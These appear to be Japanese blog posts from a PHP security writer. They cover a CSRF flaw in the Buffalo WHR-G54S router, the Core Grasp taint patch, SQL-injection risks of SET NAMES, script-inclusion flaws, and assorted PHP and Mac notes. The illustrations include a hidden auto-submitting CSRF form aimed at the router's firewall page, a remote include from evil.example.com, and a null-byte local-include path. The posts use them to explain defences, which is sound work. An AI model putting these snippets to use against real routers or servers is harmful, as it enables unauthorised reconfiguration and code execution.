カテゴリー: Computer

CSRFに脆弱なルータはWHR-G54Sだけではないはず

BaffaloのWHR-G54S
http://buffalo.jp/products/catalog/item/w/whr-g54s/
にCSRF脆弱性とレポートされています。海外製品のレポートは見かけますが、日本製のSOHOルータのレポートは記憶にないです。よくある脆弱性なので日本製のレポートは初めてではないと思いますが、個人的には初物なので書きました。

WHR−G54SはCSRF対策がない(足りない?)ので認証状態にあればFirewall設定を変更できるようです。

SOHOルータはよくターゲットにされるので管理ページにログインしたら、ログオフしてブラウザを終了させた方が良いと思います。ログオフ機能が無くても普通はログオフするとセッション情報は消去されるはずです。ログオフ機能が付いていてもブラウザを終了させるのは、ログオフ機能の実装にも問題あった場合でもセッションが切れるようにする為です。

サンプルコードを見ると

<body onload=”document.CSRF.submit()”>
<form name=”CSRF” method=”post”
action=”http://192.168.11.1/cgi-bin/cgi?req=inp&res=filter_ip.html”
style=”display:none”>

の様にJavaScriptを使ってページを表示するだけでCSRF攻撃を行うコードになっています。フォームも非表示にしているので攻撃された事に利用者はまず気が付かないと思います。

管理用ページには割と頻繁にCSRF脆弱性やXSS脆弱性が見つかっています。SOHOルータに限らず、システム管理者の方は管理用ページにログインしたらログオフとブラウザの終了を行う癖をつけると良いと思います。管理用ページにアクセスするブラウザは普段使わないブラウザにする、仮想環境からのみアクセスする等はより効果的です。
# 私はできるだけ別のマシンから管理用ページを見るようにしています。

この種の攻撃を無闇に見ず知らずの他人に攻撃して成功させるのは比較的難しいと考えられます。しかし、標的型攻撃なら非常に簡単です。例えば、知人がCSRFに脆弱な管理ページで操作している、と知っていればログインしている間に攻撃者が作ったページに誘導して攻撃を成功させるのはそれほど難しくありません。

匿名性保証ができる攻撃者なら製品設定の解説サイトを作り、そのサイトに訪問したユーザに対してCSRF攻撃を行う方法も考えられます。この場合、攻撃に成功する確率はかなり高くなると思います。

Core Grasp

遅ればせながらCore Graspのパッチを読みました。超ななめ読みなので勘違いしているかも知れません。間違っていたら教えてください。

一番興味があったのはSQLインジェクションの自動検出はどうなっているのかです。以下の関数がSQLインジェクションチェックに利用されています。

+int grasp_check_query(zval *z)
+{
+	char *c,*s;
+	int i,j,l;
+	char q;
+
+	if (grasp_isfull_p(z)) return 0;
+	if (!grasp_isptr_p(z)) return 1;
+	if (z->type != IS_STRING && z->type != IS_CONSTANT) return 1;
+	
+	
+	l = z->value.str.len;
+	c = z->value.str.val;
+	s = z->secmark;
+
+
+	for(i = 0; i<l; i++)
+	{
+		if (s[i] && (c[i]=='-'))			
+		{
+			i++;					
+			if(!(c[i] < '0' || c[i] > '9')) 
+			{
+				for(i;i<l;i++)			
+				{
+					if (c[i] < '0' || c[i] > '9')
+					{
+						if (!s[i])
+							break;	
+						else
+							return 0; 
+					}
+				}
+			}
+			else
+			{
+				return 0;
+			}
+			if(i == l) return 1;
+		}
+		
+
+		if (s[i] && (c[i] < '0' || c[i] > '9')) return 0;
+		
+		if (c[i] == '¥¥')
+		{
+			i++; 
+			if (s[i]) return 0;
+		} else
+		if (c[i] == '¥'' || c[i] == '¥"' || c[i] == '`')
+		{
+			q = c[i];
+			for(i++; i<l; i++)
+			{
+				if (c[i] == '¥¥')
+					i++; else
+				if (c[i] == q)
+					break;
+			}
+			if (i<l && s[i]) return 0;
+		} 
+	}
+	return 1;
+}

どうも文字列の各文字が安全かチェックして安全でない場合はエラーにしているようです。単純に「この文字列(ZVAL)は関数で処理済みで安全」とマークしている訳でないようです。

ではmysql_real_escape_stringとかを拡張して安全マークを追加しているのかな?と思ったらしていないようです。代わりにaddslashesが拡張されていました。

PHP_FUNCTION(addslashes)
 {
 	zval **str;
+#ifdef HAVE_GRASP
+	char *res, *secm;	
+#endif
 
 	if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &str) == FAILURE) {
 		WRONG_PARAM_COUNT;
@@ -2884,11 +3266,23 @@ PHP_FUNCTION(addslashes)
 	if (Z_STRLEN_PP(str) == 0) {
 		RETURN_EMPTY_STRING();
 	}
+#ifdef HAVE_GRASP
+	grasp_normalize(*str);
+	res = 0;
+	secm = 0;
+	//grasp_setptr_p(return_value, zend_get_parameters_secmark());
+	res = php_addslashes_secmark(Z_STRVAL_PP(str),
+	                             Z_STRLEN_PP(str), 
+	                             &Z_STRLEN_P(return_value), 0, &secm, Z_SECMARK_PP(str)
+	                             TSRMLS_CC);
 
+	RETURN_STRING_SECMARK(res, 0, secm);
+#else
 	RETURN_STRING(php_addslashes(Z_STRVAL_PP(str),
 	                             Z_STRLEN_PP(str), 
 	                             &Z_STRLEN_P(return_value), 0 
 	                             TSRMLS_CC), 0);
+#endif
 }

マルチバイト環境ではaddslashesによる文字列エスケープは厳禁な(SQLインジェクションに脆弱になる場合がある)ので実装的には不十分です。

GraspはPHP用のtaintモードとして紹介されていますが、Perl, Rubyなどの一般的にtaintモード呼ばれている機能と多少異なります。

http://www.cs.virginia.edu/~evans/pubs/infosec05.html

に記載されているようなtaintモードになっているようです。
# この論文もななめ読み

具体的には

$sql = “SELECT * FROM table WHERE id = “. $id;
mysql_query($sql);

の様なコードでも$idが危険な文字列かつ攻撃コードを含んでいれば、エラーになります。つまり、$sql文字列中の$id部分が安全かどうかチェックできるようになっています。

例えば、

if (ereg(“[0-9]+”, $_GET[‘id’]) {
$id = $_GET[‘id’];
}

の様にプログラマのミスにより$idが危険な変数になっていても攻撃が回避できます。

完成度が高くなれば通常のtaintモードとは比べ物にならないくらい安全性の向上が期待できると思います。しかし、パッチを超ななめ読みした感じでは実用的になるまでもうしばらく時間が必要な気がしましたが、順調に開発が進めばかなり便利な機能になると思います。
# 現状の実装だど文字エンコーディングがSJIS等の場合はSQLインジェクション
# と誤検出すると思います。addslashesなので元々SJIS等の事などまったく考慮
# されていなくて当たり前です。マルチバイト文字の事は考えてないようですが
# UTF-8ならそれなりに使えそうです。

SQLインジェクションは対策が簡単ですが、XSSは適材適所で対応が分かれるので精度の高い対策は難しいです。しかし、LDAP/XPATH/XQuery等のインジェクション攻撃は基本的にSQLインジェクションと同じレベルで対応可能です。半年後くらいにまたパッチを見てみよう。

SET NAMESは禁止

MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。

Ruby on Railsの本を読んでいて、ActiveRecordを説明している部分にMySQLの文字エンコーディングを変更する場合の例としてSET NAMESが利用されていました。アプリケーションからはSET NAMESは使ってはならない事を周知させるのは結構時間が必要かなと思いました。

PHPも5.2の途中からMySQLモジュールにlibmysqlの文字エンコーディング設定APIのラッパー関数が追加されていたりするので、たまたま最近読んだRoRの本だけでなく、多くの開発向け情報ソースにSET NAMESを利用した例が載っていると思います。

ストアドプロシージャだけ使っていれば安全ですが、アプリケーションからDBMSの文字エンコーディングを設定する場合、SQL文ではなく必ず文字エンコーディング設定APIを利用するよう紹介しなければならないです。MySQL4はストアドプロシージャが使えないので、フレームワークなどではエミュレートしています。ストアドプロシージャだけ使って防御している「つもり」で防御になっていない場合もあります。これもフレームワークを使っていてもアプリケーションが脆弱になる良い例ですね。

脆弱性の説明は面倒ですが注意事項は簡単です。「DBMSをアプリケーションから利用する場合、文字エンコーディング設定は必ずAPIを利用する」つまり「SET NAMES(PostgreSQLのSET CLIENT_ENCODING等も)は禁止」です。

PHPのMySQL:

PHPのPostgreSQL:

PHPのPDO:

<?php
// MySQL
$pdo = new PDO(
    'mysql:host=yourhost;dbname=yourdb;charset=sjis',
    'user', 'password'
);

// PostgreSQL
$pdo = new PDO(
    "pgsql:host=yourhost;dbname=yourdb;options='--client_encoding=sjis'"
);

Rails:

config.encoding = 文字コード

 

意図が伝わってないのかな?

「なぜPHPアプリケーションにセキュリティホールが多いのか?」をテーマにした技術評論社のブログ風の記事を書いています。

一番新しい

http://gihyo.jp/dev/serial/01/php-security/0008

ですが、自分で防いだつもりのセキュリティホールは実は防いだ事になっていなかった、アプリケーションが多く在りました。というより今でも作り続けられています。原因は「サニタイズ」による脆弱性の回避であるものが多いです。なので「サニタイズ」ではなく「バリデーション」と「適切なエスケープ」によって対策すべきです、と書きたかったのですが「エスケープ」の部分を書いてないですね。バリデーションの時に説明するつもりですが、確かに尻切れとんぼのような感じです。

編集の方からこんな感じなのですがどうなんでしょう?メールが来ていました。

http://b.hatena.ne.jp/entry/http%3A//gihyo.jp/dev/serial/01/php-security/0008

と言う感じで何やら否定的なコメントが多いようです。

最初に

今回は熟練したWebアプリ開発者なら常識のクロスサイトスクリプティング対策の落とし穴を紹介します。

と書いているのですがどうも「熟練のWebアプリ開発者なら常識」としている前提が伝わっていなかった?のか記事自体に問題がある?のか理由がいまいち分かりません。

ブックマークしている方を見るとセキュリティ系で有名な方もいます。初心者向けのブログなのであまり一般受けしないエントリはこのブログの方が多はずです。(と言ってもこちらにもあまり役に立つことはあまり書いてませんが)いまいち理由がよくわからないのでもし知っている方教えてください。

スクリプトインクルード問題の根本的解決策

スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。

デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり

include(‘http://evil.example.com/attack.php’);

の様なコードは実行できなくなり、頻繁にレポートされる「リモートスクリプトの実行」が可能な脆弱性はデフォルト設定では発生しなくなりました。

しかし、PHP 5.2以降でもPHPプログラムはファイルにコードを埋め込む形式でプログラムを記述しなければなりません。アップロードされたローカルファイルをスクリプトとして実行するのは非常に簡単です。入力ファイルのバリデーションを行っても、全てのファイルからコードを取り除くのは簡単ではありませんし、現実的でない場合もあります。PHPは他の言語と異なり「コードを埋め込む形式」であるために、”ローカル”スクリプトインクルードがセキュリティ上の問題となる可能性が残されています。

PHPアプリでスクリプトインクルードがセキュリティ上の問題として度々取り上げられる原因は、PHPが「コード埋め込み型」でスクリプトを実行していることにあります。「コード埋め込み型」でスクリプトを実行していなければ他のスクリプト型言語を同等レベルにまでローカルスクリプト実行脆弱性を軽減することができます。

「デフォルト状態でのリモートスクリプトの実行機能」はあきらかにPHPにとって負の遺産でした。同じように「デフォルト状態でのコード埋め込み型のスクリプト」も負の遺産だと思っています。最近のPHPプログラムはコードとHTMLは分離され、埋め込み型である必要性があるのはテンプレートくらいになっています。多くの他のスクリプトファイルはプログラム以外のデータを埋め込む必要が全くないコードになっています。にもかかわらず「コードの埋め込み型のスクリプト」をデフォルトとして意図しないローカルスクリプトの実行に対して脆弱でありつづける必要はありません。

スクリプトインクルード問題対策には、まず「埋め込み型スクリプト」が保存されたディレクトリを指定し、それ以外はコードの埋め込みを許可しないように仕様変更が必要です。これによりユーザから送信された画像や圧縮ファイル、テキストファイルを誤ってスクリプトとして実行してしまう事態をかなり回避できるようになります。

パッチの作成は割と簡単です。埋め込みモードでスクリプト実行するディレクトリを保存するためのphp.ini設定を追加します。PHPがスクリプトファイルをコンパイルする場合、設定されたディレクトリ以外はパーサの初期状態をST_IN_SCRIPTINGに設定し、終了タグが現れても無視します。古いPHPとの互換性維持のため開始タグが現れても無視する様にすれば、既存のライブラリファイルもそのまま使えます。

ユーザが任意データをアップロード可能なアプリケーションに仮にローカルスクリプトインクルードに脆弱なコード

include($_GET[‘module_name’].’.php’);

が在ったとしても, $_GET[‘module_name’]にアップロードしたファイル名を設定して

include(“/www/upload/evil.gif¥0.php”);

のようなリクエストを送信しても、画像形式を適切にバリデーションしていれば”/www/upload/”に保存された画像ファイルをスクリプトとして実行されてしまう危険性を大幅に低減できます。バリデーションにはTokenizerを利用し、PHPのトークン(プログラムのコード)が無いことを確認します。

意図しないスクリプトインクルードされる問題を確実に回避するは埋め込みモードでスクリプトを実行するディレクトリだけでなく、通常モードでスクリプトを実行するディレクトリも指定できるようにします。こうすればこれらのディレクトリへの書き込みを適切に制限していればスクリプトインクルードによる攻撃を防ぐ事ができます。

パッチ作成は割と簡単です。欲しい方います??

PHP 5.2.4

ご存知の方も多いと思いますがPHP 5.2.4のリリースが近いです。しばらく前にRC1が出ています。

http://qa.php.net/

どのWebアプリケーションもですがインフラとなるソフトウェアのバージョンアップをどう行うか定めておかなければなりません。オープンソースの場合、いつでもソースコードのリポジトリから開発版が利用できるので開発版を利用してアプリケーションの動作に支障が無いかテストできます。

しかし、普通は開発版で常に動作テストは行えません。次のバージョンがリリースされる前にしばらくの間RC版(Release Candidate版)がテスト用に配布されます。RC版の間であればクラッシュバグや意図的でない動作仕様の違いなどをバグレポートとして提出すればリリース前に修正される可能性が高くなります。パッチを付けて送付すれば適用される可能性も高くなります。RCで動作テストを十分行っていればリリースされた場合にセキュリティフィックスが含まれいても慌てることはありません。

大規模にシステムを運用している会社であればRC版からの動作テストのメリットは非常に多いです。RC版からの動作テスト&フィードバックを強くお勧めします。

HTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの取り扱いバグ

b2evolutionをいい加減アップグレードしておかないと問題があっても困るのでアップグレードしました。HTTP_ACCEPT_CHARET/HTTP_ACCEPT_LANGUAGE処理の不具合がまだなおっていないようです… 日本語のように単語区切りがない言語(または正規表現の文字エンコーディング設定)の不具合も直っていないようです。

昨日から今日までMac版のFirefoxなら正常に表示、Win版だとISO-8859-1になって文字化けしていました。(多分IEも同様だったはず)

文字列の比較はできるかぎり厳密に行う方が良いですがHTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの比較では大文字/小文字を無視した方が無難だと思います。Win版Firefoxがへんな値に設定しているとは思いますが、統計アプリなどでみるとかなり変わったエンコーディング名になっている場合もあるようです。

エンコーディングをUTF-8で統一しているなら

conf/_locales.phpを以下に設定し

$evo_charset=’utf-8′;
$force_io_charset_if_accepted=’utf-8′;
$db_config[‘connection_charset’]=’utf-8′;
$default_locale=’ja-JP’;

必要ないような気もしますがこのファイルに定義してあるlocaleでiso-8859-1エンコーディングは全てutf-8に変更しました。

inc/MODEL/settings/_locale.funcs.phpのinit_charset関数でなにもせずにreturn

function init_charset( $req_io_charset )
{
return;

すれば文字化けは解消します。

追記:
これでもISO-8859-1になって文字化けするケースがありますね… 時間がないので場当たり対処策としてindex.phpの最後に

header(‘text/html; charset=UTF-8′);

を追加しました。ロケールの処理にはいろいろ問題があるようです。どこかで無理矢理ISO-8859-1にするくらいならデフォルトUTF-8にしておけば良いと思います。

さらに追記:
上記の変更を行うとRSSフィードのXMLエンコーディングの部分が空になり、XMLエラーとなってRSSリーダが処理できない不具合が発生する事が分かりました。ソースを見れば一目瞭然で文字エンコーディングを指定する変数が空であることが原因でした。

conf/_basic_conf.phpに

$io_charset=’utf-8’;

を追加すると直ります。アップグレードマニュアルにはこのファイルは前のファイルで上書きするように、と書いてあったのですが追加設定が必要だったのかも。

Mac miniがCore2Duoに

新iMacのアナウンスと同時にMac miniのCPUがCore2Duoになる事が明らかになったようです。

新モデルは「Core 2 Duo」を搭載した。599ドルモデルは1.83GHzの「Core 2 Duo T5600」を、799ドルモデルは2.0GHzの「Core 2 Duo T7200」を搭載している。

OSは10.5はファミリーパックで買うのでリリースまで待つ必要ないし、これでやっとMac miniが買える :)

IT技術者は高収入だが満足度が低い

イギリスはこの手の統計が好きなのか、私がたまたまイギリスのこの手の統計情報を見かけているのか収入と満足度の調査結果によると81種に分けた業種中、IT技術者は満足度が66位だそうです。以前に見かけた統計でも同じような結果でした。

収入の平均は4万ポンドを超えるそうなので日本円にすると964万円( http://quote.yahoo.co.jp/m5?a=40000&s=GBP&t=JPY )だそうです。アメリカのプログラマの平均年収が8万ドルだったと思うので日本円にすると953万円( http://quote.yahoo.co.jp/m5?a=80000&s=USD&t=JPY )と収入はほぼアメリカ並み(?)と言えるのかも知れません。

ちなみに日本のIT系は3Kらしく「きつい」「帰れない」「給料安い」とか言われてるようです。日本のIT技術者の平均収入はどれくらいなのでしょうね。

追記:
ということで調べてみました。2005年のデータではないかと思います。

http://ranking1.nobody.jp/salary2-gyoushu.html

システムコンサルタントは割と上位(?)なようですが、平均と言う意味ではアメリカ、イギリスに全く及びません…
以下のリンクを見れば違いは一目瞭然です。

http://www.chikawatanabe.com/blog/2006/03/post_4.html

日本の状況はIT Proの記事が非常に参考になります。

http://itpro.nikkeibp.co.jp/free/ITPro/OPINION/20040110/1/

日本の場合、かなり給料が下がってきていたのですね… 2004年から2006年にかけてどう変化しているのか気になったので調べてみると

http://doda.jp/guide/heikin/hei_003_01/index.html

となってます。

Tomcat 3.3.0 – 3.3.2にクロスサイトスクリプティング脆弱性

IPAのドキュメントでは大規模開発にはJava, .NETをお勧めしているようですがTomcatのページにはこのような記載も。

Apache Tomcat 3.x and 4.x, we strongly encourage users to use the latest stable version of Apache Tomcat whenever possible. We recognize that upgrading across major version may not be a trivial task, and some support is still offered on the mailing list for users of old versions. However, because of the community-driven support approach, the older your version the less people would be interested or able to support you.

http://tomcat.apache.org/

つまり3.x, 4.xユーザは早く6.xに乗り換えてねと言う事です。PHP4の状況と同じですね。

そして現行の3.3.xの最新版に未パッチ(私が見た情報には詳しい記述がなかったので詳細は分かりません。もうすぐパッチはリリースされるのかな?)のXSS脆弱性があるようです。IPA的にはJavaは良いけどTomcatは大規模開発には使うなと言う事なのかな?

MoPBの邦訳をしていたので「例えば大規模開発にPHPは使用しない」(IPAのページが見つけられなかったので正確な言い回しでは無いかもしれません)と言う表現に一役買っているとも言えますが、私としてはどうもドングリの背比べに見えるのですけどね…

機会がある毎に、言語やフレームワークでより安全なWebサイトが作りやすくはなっても、言語やフレームワークで安全性を保証できない、と言っています。「○○言語利用しているので安全です」とか「○○フレームワークを利用して構築しているので安全です」とは言えないことは明らかです。バージョンアップについても状況は違っても似たような状態だと思います。

Canon iP7500:OSXからLPDでプリント

WindowsServer 2003にCanon iP7500が接続されLPDサーバのプリンタとして利用しています。LinuxからはiP7500用のSRPMをちょっと手直しして無理矢理ビルドしたドライバで普通に印刷できています。
# リンクしたがるライブラリが古すぎるので無理矢理新しいライブラリと
# リンクさせてますが私の使用方法だと困った事はないです。

さすがに印刷できないのは非常に困るので、OSX用のドライバをCanon iP7500のCanonのホームページ

http://cweb.canon.jp/drv-upd/bj/ip-series.html

をダウンロードしインストールしました。しかしCUPSのドライバ選択のドロップダウンに表示されません。調べる時間も無いのでサポートに電話してみました。ドライバのインストールはUSB接続しプリンタの電源を入れて行ってください、とのこと。USB接続ならプリンタが見え印刷できる状態になりました。

しかし、CUPS/gimp printの一覧にプリンタがでてきません。そこでもう一度サポートに電話をかけると折り返し詳しい方から電話してもらう事になりました。電話はすぐにかかってきたのですがUSB以外の印刷はサポートしていないとの回答でした。

印刷できないと困るのでサポートしてくれないならLinuxのPPDファイルとOSXのUSB接続用のPPDファイルを適当に合わせて印刷できる様にしようと試みました。しかし、フィルタがUSB専用(?)なのかエラーで印刷できません。ここでも調べる時間が無いので直ぐに諦めLinuxで昔使っていた方法で印刷しています。BJ7000のドライバ(Gimp PrintのBJ7000用のPPDファイル)を使ってDPIを600×600、色をグレイスケールに設定すると概ね普通に印刷できます…

PPDファイルだけなら時間をかければ自分で作れると思いますが、CanonさんGimp Print/CUPSどちらでも良いので普通に印刷できるPPDファイル/ドライバ作ってください… USB接続だけで印刷できれば良いって、このネットワーク時代にありでしょうか? 困っている人も多いと思うのですが…
# もしかしてサポートの方が知らない簡単な接続方法があるのかな?

ところでドライバパッケージの中身にはヘッドクリーニングやインクカートリッジの状態確認などが行えるユーティリティ(Canon IJ Printer Utility)が入っていました。実際に使えますがドライバのインストーラはアプリケーションとしてインストールしてくれないようです。欲しい方はドライバのパッケージファイルの中身を探すと見つかります。

Security Update 2007-007

最近メイン環境をOSXに変えたのでMacをよく使っています。LinuxとOSXが半々くらいになっています。今までOSXのセキュリティアップデートを注意して見てこなかったのですが、このセキュリティアップデートを見ると「なんだかな…」と思ってしまいました。

bzip2 CVE-ID: CVE-2005-0758
gnuzip CVE-ID: CVE-2005-0758

この脆弱性はgunzip -Nで展開した場合の問題のようななのでそれほど危険ではないようです。しかし、2005年の脆弱性なのでこれはさすがに古すぎでは… 確かにアーカイバの脆弱性修正が忘れられている事例は多く見られます。アンチウィルス製品がLHA、GZIP, BZIP等の脆弱性が直っていなくて(それも古いもの)脆弱性としてレポートされているケースはかなり多いです。だれも気にしていなかったにしても長期間放置されすぎだと思います。

PHPもアップグレードされていました。確かにテストなどで時間が必要なのは分かります。特にPHPはアップグレードするのが非常に難しいのは分かりますが、このアップデートでやっと4.4.7になりました。PHP 4.4.4ってなぜ?と思っていました。自分でビルドして5.2を使っているので気にしていませんでしたが。Appleだけが遅いのではなく、確信犯でアップデートを出していないディストリビュータも多いですけど。

普通の人が普通に安全にコンピュータが使えるようになるのはまだまだ長い道のりが必要ですね。
# 普通の人(コンピュータに詳しくない人)はgunzip, bzip2は使わないか

PHP4からPHP5への移行について

PHP4のサポート終了がアナウンスされことに伴い、技術評論社の方からPHP4からPHP5への移行の記事を書く事になりました。毎週新しい記事が公開されます。下記のURLが最初の記事で8/2(予定)から順次続きが公開されます。

http://gihyo.jp/dev/feature/01/php-migration/0001?page=1

記事を書いてみて思ったのですが、自分にとってはPHP4とPHP5両方で動作するコードを書くのはそう難しくないのですが時々PHPでコードを書いている方、PHPの開発状態を把握していない方には結構難しいのではないかと思いました。今回の記事は「移行」にのみ焦点をあててPHP5の新機能はほとんど紹介しませんでしたがかなりボリュームになってしまいました。それでも十分とは言えないです。PHP5への移行をお考えのかたは8/2から上記URLを参考にして頂ければ幸いです。

ところで、隔週(の予定…で実際は月一回くらい…)でセキュリティ関係の記事も http://gihyo.jp/ にて連載しています。こちらもよろしくお願いします。

http://gihyo.jp/serial/2007/php-security

どの記事でもコメントなどございましたらメールで頂けると助かります。

globで任意コード実行の脆弱性

FirstにPHPのglobで任意コード実行の脆弱性、とあったのでCVSを見てみるとglob用のメモリ構造体を未初期化で使用しているコードが修正されていました。未初期化の構造体メモリを任意データで書き換える必要があるので、攻撃を行うには攻撃が可能となるメモリレイアウトを作る比較的特殊なコードが必要になると思われます。

任意コード実行の脆弱性として

Remotely Exploitable : Yes
Locally Exploitable : Yes

の割には

Rated as : Moderate Risk

となっています。これは攻撃可能なメモリレイアウト作成はあまり直感的ではないから、もしくはPoCレベルの通常では起こりえない状況用の攻撃コードのみ作成されているからだと思われます。

これはPHP5.2.3以下の脆弱性です。以下はHEADのパッチです。
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/dir.c?r1=1.166&r2=1.167
見ての通り、1 linerパッチです。

PHP4のサポートが終了しますが「ディストリビュータのサポートは別途で長いから」とディストリビュータのサポートに期待している方も多いと思います。ディストリビュータがどの程度セキュリティパッチをサポートしてくれるのかちょうどよいベンチマークになると思います。